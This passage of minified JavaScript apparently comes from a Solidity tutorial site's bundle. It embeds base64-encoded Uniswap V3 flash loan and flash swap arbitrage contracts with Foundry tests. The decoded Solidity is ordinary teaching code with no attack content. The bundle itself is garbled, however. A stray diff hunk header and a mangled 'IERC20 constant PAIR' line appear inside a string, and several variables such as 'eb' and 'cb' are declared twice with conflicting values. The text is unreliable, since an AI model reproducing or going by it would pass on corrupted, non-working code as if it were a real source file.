UgaGVyZQogICAgICAgIGlmIChmZWUwID4gMCkgewogICAgICAgICAgICB0b2tlbjAudHJhbnNmZXJGcm9tKGRlY29kZWQuY2FsbGVyLCBhZGRyZXNzKHRoaXMpLCBmZWUwKTsKICAgICAgICB9CiAgICAgICAgaWYgKGZlZTEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20oZGVjb2RlZC5jYWxsZXIsIGFkZHJlc3ModGhpcyksIGZlZTEpOwogICAgICAgIH0KCiAgICAgICAgLy8gUmVwYXkgYm9ycm93CiAgICAgICAgaWYgKGZlZTAgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMC50cmFuc2ZlcihhZGRyZXNzKHBvb2wpLCBkZWNvZGVkLmFtb3VudDAgKyBmZWUwKTsKICAgICAgICB9CiAgICAgICAgaWYgKGZlZTEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2ZlcihhZGRyZXNzKHBvb2wpLCBkZWNvZGVkLmFtb3VudDEgKyBmZWUxKTsKICAgICAgICB9CiAgICB9Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYzUG9vbCB7CiAgICBmdW5jdGlvbiB0b2tlbjAoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3MpOwogICAgZnVuY3Rpb24gdG9rZW4xKCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzKTsKICAgIGZ1bmN0aW9uIGZsYXNoKAogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50LAogICAgICAgIHVpbnQyNTYgYW1vdW50MCwKICAgICAgICB1aW50MjU2IGFtb3VudDEsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbDsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7Cn0K"},{fileName:"UniswapV3FlashTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1mbGFzaC9Vbmlzd2FwVjNGbGFzaC5zb2wiOwoKY29udHJhY3QgVW5pc3dhcFYzRmxhc2hUZXN0IGlzIFRlc3QgewogICAgYWRkcmVzcyBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CiAgICAvLyBEQUkgLyBXRVRIIDAuMyUgZmVlCiAgICBhZGRyZXNzIGNvbnN0YW50IFBPT0wgPSAweEMyZTlGMjVCZTYyNTdjMjEwZDdBZGYwRDRDZDZFM0U4ODFiYTI1Zjg7CiAgICB1aW50MjQgY29uc3RhbnQgUE9PTF9GRUUgPSAzMDAwOwoKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHdldGggPSBJRVJDMjAoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKICAgIFVuaXN3YXBWM0ZsYXNoIHByaXZhdGUgdW5pOwogICAgYWRkcmVzcyBjb25zdGFudCB1c2VyID0gYWRkcmVzcygxMSk7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHVuaSA9IG5ldyBVbmlzd2FwVjNGbGFzaChQT09MKTsKCiAgICAgICAgZGVhbChEQUksIHVzZXIsIDFlNiAqIDFlMTgpOwogICAgICAgIHZtLnByYW5rKHVzZXIpOwogICAgICAgIGRhaS5hcHByb3ZlKGFkZHJlc3ModW5pKSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfZmxhc2goKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgZGFpX2JlZm9yZSA9IGRhaS5iYWxhbmNlT2YodXNlcik7CiAgICAgICAgdm0ucHJhbmsodXNlcik7CiAgICAgICAgdW5pLmZsYXNoKDFlNiAqIDFlMTgsIDApOwogICAgICAgIHVpbnQyNTYgZGFpX2FmdGVyID0gZGFpLmJhbGFuY2VPZih1c2VyKTsKCiAgICAgICAgdWludDI1NiBmZWUgPSBkYWlfYmVmb3JlIC0gZGFpX2FmdGVyOwogICAgICAgIGNvbnNvbGUyLmxvZygiREFJIGZlZSIsIGZlZSk7CiAgICB9Cn0K"}],eb=`
                    Uniswap V3 Flash Loan Example
                    
+
                    `,ab=({prev:s,next:a})=>r.jsx(u,{version:Om,title:Pm,description:$m,html:sb,prev:s,next:a,codes:qm}),nb="0.8.24",lb="Uniswap V3 Flash Loan",pb="Uniswap V3 Flash Loan",eb=[{fileName:"UniswapV3Flash.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWM0ZsYXNoIHsKICAgIHN0cnVjdCBGbGFzaENhbGxiYWNrRGF0YSB7CiAgICAgICAgdWludDI1NiBhbW91bnQwOwogICAgICAgIHVpbnQyNTYgYW1vdW50MTsKICAgICAgICBhZGRyZXNzIGNhbGxlcjsKICAgIH0KCiAgICBJVW5pc3dhcFYzUG9vbCBwcml2YXRlIGltbXV0YWJsZSBwb29sOwogICAgSUVSQzIwIHByaXZhdGUgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwcml2YXRlIGltbXV0YWJsZSB0b2tlbjE7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfcG9vbCkgewogICAgICAgIHBvb2wgPSBJVW5pc3dhcFYzUG9vbChfcG9vbCk7CiAgICAgICAgdG9rZW4wID0gSUVSQzIwKHBvb2wudG9rZW4wKCkpOwogICAgICAgIHRva2VuMSA9IElFUkMyMChwb29sLnRva2VuMSgpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBmbGFzaCh1aW50MjU2IGFtb3VudDAsIHVpbnQyNTYgYW1vdW50MSkgZXh0ZXJuYWwgewogICAgICAgIGJ5dGVzIG1lbW9yeSBkYXRhID0gYWJpLmVuY29kZSgKICAgICAgICAgICAgRmxhc2hDYWxsYmFja0RhdGEoewogICAgICAgICAgICAgICAgYW1vdW50MDogYW1vdW50MCwKICAgICAgICAgICAgICAgIGFtb3VudDE6IGFtb3VudDEsCiAgICAgICAgICAgICAgICBjYWxsZXI6IG1zZy5zZW5kZXIKICAgICAgICAgICAgfSkKICAgICAgICApOwogICAgICAgIElVbmlzd2FwVjNQb29sKHBvb2wpLmZsYXNoKGFkZHJlc3ModGhpcyksIGFtb3VudDAsIGFtb3VudDEsIGRhdGEpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVuaXN3YXBWM0ZsYXNoQ2FsbGJhY2soCiAgICAgICAgLy8gUG9vbCBmZWUgeCBhbW91bnQgcmVxdWVzdGVkCiAgICAgICAgdWludDI1NiBmZWUwLAogICAgICAgIHVpbnQyNTYgZmVlMSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gYWRkcmVzcyhwb29sKSwgIm5vdCBhdXRob3JpemVkIik7CgogICAgICAgIEZsYXNoQ2FsbGJhY2tEYXRhIG1lbW9yeSBkZWNvZGVkID0gYWJpLmRlY29kZShkYXRhLCAoRmxhc2hDYWxsYmFja0RhdGEpKTsKCiAgICAgICAgLy8gV3JpdGUgY3VzdG9tIGNvZGUgaGVyZQogICAgICAgIGlmIChmZWUwID4gMCkgewogICAgICAgICAgICB0b2tlbjAudHJhbnNmZXJGcm9tKGRlY29kZWQuY2FsbGVyLCBhZGRyZXNzKHRoaXMpLCBmZWUwKTsKICAgICAgICB9CiAgICAgICAgaWYgKGZlZTEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20oZGVjb2RlZC5jYWxsZXIsIGFkZHJlc3ModGhpcyksIGZlZTEpOwogICAgICAgIH0KCiAgICAgICAgLy8gUmVwYXkgYm9ycm93CiAgICAgICAgaWYgKGZlZTAgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMC50cmFuc2ZlcihhZGRyZXNzKHBvb2wpLCBkZWNvZGVkLmFtb3VudDAgKyBmZWUwKTsKICAgICAgICB9CiAgICAgICAgaWYgKGZlZTEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2ZlcihhZGRyZXNzKHBvb2wpLCBkZWNvZGVkLmFtb3VudDEgKyBmZWUxKTsKICAgICAgICB9CiAgICB9Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYzUG9vbCB7CiAgICBmdW5jdGlvbiB0b2tlbjAoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3MpOwogICAgZnVuY3Rpb24gdG9rZW4xKCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzKTsKICAgIGZ1bmN0aW9uIGZsYXNoKAogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50LAogICAgICAgIHVpbnQyNTYgYW1vdW50MCwKICAgICAgICB1aW50MjU2IGFtb3VudDEsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbDsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7Cn0K"},{fileName:"UniswapV3FlashTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1mbGFzaC9Vbmlzd2FwVjNGbGFzaC5zb2wiOwoKY29udHJhY3QgVW5pc3dhcFYzRmxhc2hUZXN0IGlzIFRlc3QgewogICAgYWRkcmVzcyBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CiAgICAvLyBEQUkgLyBXRVRIIDAuMyUgZmVlCiAgICBhZGRyZXNzIGNvbnN0YW50IFBPT0wgPSAweEMyZTlGMjVCZTYyNTdjMjEwZDdBZGYwRDRDZDZFM0U4ODFiYTI1Zjg7CiAgICB1aW50MjQgY29uc3RhbnQgUE9PTF9GRUUgPSAzMDAwOwoKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHdldGggPSBJRVJDMjAoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKICAgIFVuaXN3YXBWM0ZsYXNoIHByaXZhdGUgdW5pOwogICAgYWRkcmVzcyBjb25zdGFudCB1c2VyID0gYWRkcmVzcygxMSk7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHVuaSA9IG5ldyBVbmlzd2FwVjNGbGFzaChQT09MKTsKCiAgICAgICAgZGVhbChEQUksIHVzZXIsIDFlNiAqIDFlMTgpOwogICAgICAgIHZtLnByYW5rKHVzZXIpOwogICAgICAgIGRhaS5hcHByb3ZlKGFkZHJlc3ModW5pKSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfZmxhc2goKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgZGFpX2JlZm9yZSA9IGRhaS5iYWxhbmNlT2YodXNlcik7CiAgICAgICAgdm0ucHJhbmsodXNlcik7CiAgICAgICAgdW5pLmZsYXNoKDFlNiAqIDFlMTgsIDApOwogICAgICAgIHVpbnQyNTYgZGFpX2FmdGVyID0gZGFpLmJhbGFuY2VPZih1c2VyKTsKCiAgICAgICAgdWludDI1NiBmZWUgPSBkYWlfYmVmb3JlIC0gZGFpX2FmdGVyOwogICAgICAgIGNvbnNvbGUyLmxvZygiREFJIGZlZSIsIGZlZSk7CiAgICB9Cn0K"}],cb=`

                    Uniswap V3 Flash Loan Example

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -6096,7 +6096,7 @@ IERC20 constant PAIR "DAI fee", fee);
     }
 }
-
                    `,cb=({prev:s,next:a})=>r.jsx(u,{version:ab,title:nb,description:lb,html:eb,prev:s,next:a,codes:pb}),tb="0.8.24",ob="Uniswap V3 Flash Swap Arbitrage",rb="Uniswap V3 Flash Swap Arbitrage",ib=[{fileName:"UniswapV3FlashSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgU1dBUF9ST1VURVJfMDIgPSAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7Cgpjb250cmFjdCBVbmlzd2FwVjNGbGFzaFN3YXAgewogICAgSVN3YXBSb3V0ZXIwMiBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcjAyKFNXQVBfUk9VVEVSXzAyKTsKCiAgICB1aW50MTYwIHByaXZhdGUgY29uc3RhbnQgTUlOX1NRUlRfUkFUSU8gPSA0Mjk1MTI4NzM5OwogICAgdWludDE2MCBwcml2YXRlIGNvbnN0YW50IE1BWF9TUVJUX1JBVElPID0KICAgICAgICAxNDYxNDQ2NzAzNDg1MjEwMTAzMjg3MjczMDUyMjAzOTg4ODIyMzc4NzIzOTcwMzQyOwoKICAgIC8vIERBSSAvIFdFVEggMC4zJSBzd2FwIGZlZSAoMjAwMCBEQUkgLyBXRVRIKQogICAgLy8gREFJIC8gV0VUSCAwLjA1JSBzd2FwIGZlZSAoMjEwMCBEQUkgLyBXRVRIKQogICAgLy8gMS4gRmxhc2ggc3dhcCBvbiBwb29sMCAocmVjZWl2ZSBXRVRIKQogICAgLy8gMi4gU3dhcCBvbiBwb29sMSAoV0VUSCAtPiBEQUkpCiAgICAvLyAzLiBTZW5kIERBSSB0byBwb29sMAogICAgLy8gcHJvZml0ID0gREFJIHJlY2VpdmVkIGZyb20gcG9vbDEgLSBEQUkgcmVwYWlkIHRvIHBvb2wwCgogICAgZnVuY3Rpb24gZmxhc2hTd2FwKAogICAgICAgIGFkZHJlc3MgcG9vbDAsCiAgICAgICAgdWludDI0IGZlZTEsCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI1NiBhbW91bnRJbgogICAgKSBleHRlcm5hbCB7CiAgICAgICAgYm9vbCB6ZXJvRm9yT25lID0gdG9rZW5JbiA8IHRva2VuT3V0OwogICAgICAgIC8vIDAgLT4gMSA9PiBzcXJ0IHByaWNlIGRlY3JlYXNlCiAgICAgICAgLy8gMSAtPiAwID0+IHNxcnQgcHJpY2UgaW5jcmVhc2UKICAgICAgICB1aW50MTYwIHNxcnRQcmljZUxpbWl0WDk2ID0KICAgICAgICAgICAgemVyb0Zvck9uZSA/IE1JTl9TUVJUX1JBVElPICsgMSA6IE1BWF9TUVJUX1JBVElPIC0gMTsKCiAgICAgICAgYnl0ZXMgbWVtb3J5IGRhdGEgPSBhYmkuZW5jb2RlKAogICAgICAgICAgICBtc2cuc2VuZGVyLCBwb29sMCwgZmVlMSwgdG9rZW5JbiwgdG9rZW5PdXQsIGFtb3VudEluLCB6ZXJvRm9yT25lCiAgICAgICAgKTsKCiAgICAgICAgSVVuaXN3YXBWM1Bvb2wocG9vbDApLnN3YXAoewogICAgICAgICAgICByZWNpcGllbnQ6IGFkZHJlc3ModGhpcyksCiAgICAgICAgICAgIHplcm9Gb3JPbmU6IHplcm9Gb3JPbmUsCiAgICAgICAgICAgIGFtb3VudFNwZWNpZmllZDogaW50MjU2KGFtb3VudEluKSwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IHNxcnRQcmljZUxpbWl0WDk2LAogICAgICAgICAgICBkYXRhOiBkYXRhCiAgICAgICAgfSk7CiAgICB9CgogICAgZnVuY3Rpb24gX3N3YXAoCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI0IGZlZSwKICAgICAgICB1aW50MjU2IGFtb3VudEluLAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluCiAgICApIHByaXZhdGUgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpIHsKICAgICAgICBJRVJDMjAodG9rZW5JbikuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIwMi5FeGFjdElucHV0U2luZ2xlUGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlcjAyCiAgICAgICAgICAgIC5FeGFjdElucHV0U2luZ2xlUGFyYW1zKHsKICAgICAgICAgICAgdG9rZW5JbjogdG9rZW5JbiwKICAgICAgICAgICAgdG9rZW5PdXQ6IHRva2VuT3V0LAogICAgICAgICAgICBmZWU6IGZlZSwKICAgICAgICAgICAgcmVjaXBpZW50OiBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IGFtb3VudE91dE1pbiwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1bmlzd2FwVjNTd2FwQ2FsbGJhY2soCiAgICAgICAgaW50MjU2IGFtb3VudDAsCiAgICAgICAgaW50MjU2IGFtb3VudDEsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCB7CiAgICAgICAgLy8gRGVjb2RlIGRhdGEKICAgICAgICAoCiAgICAgICAgICAgIGFkZHJlc3MgY2FsbGVyLAogICAgICAgICAgICBhZGRyZXNzIHBvb2wwLAogICAgICAgICAgICB1aW50MjQgZmVlMSwKICAgICAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgICAgICBhZGRyZXNzIHRva2VuT3V0LAogICAgICAgICAgICB1aW50MjU2IGFtb3VudEluLAogICAgICAgICAgICBib29sIHplcm9Gb3JPbmUKICAgICAgICApID0gYWJpLmRlY29kZSgKICAgICAgICAgICAgZGF0YSwgKGFkZHJlc3MsIGFkZHJlc3MsIHVpbnQyNCwgYWRkcmVzcywgYWRkcmVzcywgdWludDI1NiwgYm9vbCkKICAgICAgICApOwoKICAgICAgICB1aW50MjU2IGFtb3VudE91dCA9IHplcm9Gb3JPbmUgPyB1aW50MjU2KC1hbW91bnQxKSA6IHVpbnQyNTYoLWFtb3VudDApOwoKICAgICAgICAvLyBwb29sMCAtPiB0b2tlbkluIC0+IHRva2VuT3V0IChhbW91bnRPdXQpCiAgICAgICAgLy8gU3dhcCBvbiBwb29sIDEgKHN3YXAgdG9rZW5PdXQgLT4gdG9rZW5JbikKICAgICAgICB1aW50MjU2IGJ1eUJhY2tBbW91bnQgPSBfc3dhcCh7CiAgICAgICAgICAgIHRva2VuSW46IHRva2VuT3V0LAogICAgICAgICAgICB0b2tlbk91dDogdG9rZW5JbiwKICAgICAgICAgICAgZmVlOiBmZWUxLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50T3V0LAogICAgICAgICAgICBhbW91bnRPdXRNaW46IGFtb3VudEluCiAgICAgICAgfSk7CgogICAgICAgIC8vIFJlcGF5IHBvb2wgMAogICAgICAgIHVpbnQyNTYgcHJvZml0ID0gYnV5QmFja0Ftb3VudCAtIGFtb3VudEluOwogICAgICAgIHJlcXVpcmUocHJvZml0ID4gMCwgInByb2ZpdCA9IDAiKTsKCiAgICAgICAgSUVSQzIwKHRva2VuSW4pLnRyYW5zZmVyKHBvb2wwLCBhbW91bnRJbik7CiAgICAgICAgSUVSQzIwKHRva2VuSW4pLnRyYW5zZmVyKGNhbGxlciwgcHJvZml0KTsKICAgIH0KfQoKaW50ZXJmYWNlIElTd2FwUm91dGVyMDIgewogICAgc3RydWN0IEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgewogICAgICAgIGFkZHJlc3MgdG9rZW5JbjsKICAgICAgICBhZGRyZXNzIHRva2VuT3V0OwogICAgICAgIHVpbnQyNCBmZWU7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBhbW91bnRJbjsKICAgICAgICB1aW50MjU2IGFtb3VudE91dE1pbmltdW07CiAgICAgICAgdWludDE2MCBzcXJ0UHJpY2VMaW1pdFg5NjsKICAgIH0KCiAgICBmdW5jdGlvbiBleGFjdElucHV0U2luZ2xlKEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KTsKfQoKaW50ZXJmYWNlIElVbmlzd2FwVjNQb29sIHsKICAgIGZ1bmN0aW9uIHN3YXAoCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgYm9vbCB6ZXJvRm9yT25lLAogICAgICAgIGludDI1NiBhbW91bnRTcGVjaWZpZWQsCiAgICAgICAgdWludDE2MCBzcXJ0UHJpY2VMaW1pdFg5NiwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHJldHVybnMgKGludDI1NiBhbW91bnQwLCBpbnQyNTYgYW1vdW50MSk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9CgppbnRlcmZhY2UgSVdFVEggaXMgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBleHRlcm5hbCBwYXlhYmxlOwogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBhbW91bnQpIGV4dGVybmFsOwp9Cg=="},{fileName:"UniswapV3FlashSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHsKICAgIFVuaXN3YXBWM0ZsYXNoU3dhcCwKICAgIElVbmlzd2FwVjNQb29sLAogICAgSVN3YXBSb3V0ZXIwMiwKICAgIElFUkMyMCwKICAgIElXRVRICn0gZnJvbSAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1mbGFzaC1zd2FwL1VuaXN3YXBWM0ZsYXNoU3dhcC5zb2wiOwoKYWRkcmVzcyBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwphZGRyZXNzIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKYWRkcmVzcyBjb25zdGFudCBTV0FQX1JPVVRFUl8wMiA9IDB4NjhiMzQ2NTgzM2ZiNzJBNzBlY0RGNDg1RTBlNEM3YkQ4NjY1RmM0NTsKYWRkcmVzcyBjb25zdGFudCBEQUlfV0VUSF9QT09MXzMwMDAgPSAweEMyZTlGMjVCZTYyNTdjMjEwZDdBZGYwRDRDZDZFM0U4ODFiYTI1Zjg7CmFkZHJlc3MgY29uc3RhbnQgREFJX1dFVEhfUE9PTF81MDAgPSAweDYwNTk0YTQwNWQ1MzgxMWQzQkM0NzY2NTk2RUZEODBmZDU0NUEyNzA7CnVpbnQyNCBjb25zdGFudCBGRUVfMCA9IDMwMDA7CnVpbnQyNCBjb25zdGFudCBGRUVfMSA9IDUwMDsKCmNvbnRyYWN0IFVuaXN3YXBWM0ZsYXNoVGVzdCBpcyBUZXN0IHsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IGRhaSA9IElFUkMyMChEQUkpOwogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJU3dhcFJvdXRlcjAyIHByaXZhdGUgY29uc3RhbnQgcm91dGVyID0gSVN3YXBSb3V0ZXIwMihTV0FQX1JPVVRFUl8wMik7CiAgICBJVW5pc3dhcFYzUG9vbCBwcml2YXRlIGNvbnN0YW50IHBvb2wwID0gSVVuaXN3YXBWM1Bvb2woREFJX1dFVEhfUE9PTF8zMDAwKTsKICAgIElVbmlzd2FwVjNQb29sIHByaXZhdGUgY29uc3RhbnQgcG9vbDEgPSBJVW5pc3dhcFYzUG9vbChEQUlfV0VUSF9QT09MXzUwMCk7CiAgICBVbmlzd2FwVjNGbGFzaFN3YXAgcHJpdmF0ZSBmbGFzaFN3YXA7CgogICAgdWludDI1NiBwcml2YXRlIGNvbnN0YW50IERBSV9BTU9VTlRfSU4gPSAxMCAqIDFlMTg7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdW